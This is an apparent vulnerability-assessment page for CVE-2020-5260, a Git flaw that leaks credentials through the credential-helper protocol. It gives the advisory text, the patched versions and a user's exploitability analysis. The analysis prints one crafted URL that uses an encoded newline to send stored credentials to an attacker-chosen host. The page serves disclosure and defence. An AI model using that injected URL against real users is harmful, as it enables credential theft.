Low
CVE-2020-5260
CVE-2020-5260
Description
Affected versions of Git have a vulnerability whereby Git can be tricked into sending private credentials to a host controlled by an attacker. Git uses external “credential helper” programs to store and retrieve passwords or other credentials from secure storage provided by the operating system. Specially-crafted URLs that contain an encoded newline can inject unintended values into the credential helper protocol stream, causing the credential helper to retrieve the password for one server (e.g., good.example.com) for an HTTP request being made to another server (e.g., evil.example.com), resulting in credentials for the former being sent to the latter. There are no restrictions on the relationship between the two, meaning that an attacker can craft a URL that will present stored credentials for any host to a host of their choosing. The vulnerability can be triggered by feeding a malicious URL to git clone. However, the affected URLs look rather suspicious; the likely vector would be through systems which automatically clone URLs not visible to the user, such as Git submodules, or package systems built around Git. The problem has been patched in the versions published on April 14th, 2020, going back to v2.17.x. Anyone wishing to backport the change further can do so by applying commit 9a6bbee (the full release includes extra checks for git fsck, but that commit is sufficient to protect clients against the vulnerability). The patched versions are: 2.17.4, 2.18.3, 2.19.4, 2.20.3, 2.21.2, 2.22.3, 2.23.2, 2.24.2, 2.25.3, 2.26.1.
Add Assessment
Technical Analysis
The exploitability is very easy
This vuln is just a CRLF injection in my opinion.
You could offer the URL like https://one.example.com?%0ahost=two.example.com/ so that the credential would be sent to two.example.com which the attacker owns.
The value is limited
I guess there are some prerequisites for attack :
A subdomain name, has the same main domain name as the target.
The victim store or caches the credentials (It’s not the default behavior).
May need user interactions. The exploit usually occurred when the user runs
git clone <URL>.
That’s why I prefer the value for the attacker is low.
Another interesting scenario
This vuln probably affected the App and service based on git, like GitLab(Not include GitLab).
These services may allow users to import or remote clone some repo, this vuln would occur.
Original patch
https://github.com/git/git/commit/9a6bbee8006c24b46a85d29e7b38cfa79e9ab21b
Fix and walkaround
See https://github.com/git/git/security/advisories/GHSA-qm7j-c969-7j4q
Been my first comment in this awesome attackerkb community, welcome to discuss and helpful advice.
CVSS V3 Severity and Metrics
General Information
Vendors
- canonical,
- debian,
- fedoraproject,
- git,
- git-scm,
- opensuse
Products
- debian linux 10.0,
- debian linux 8.0,
- debian linux 9.0,
- fedora 30,
- fedora 31,
- fedora 32,
- git,
- leap 15.1,
- ubuntu linux 16.04,
- ubuntu linux 18.04,
- ubuntu linux 19.10
References
Advisory
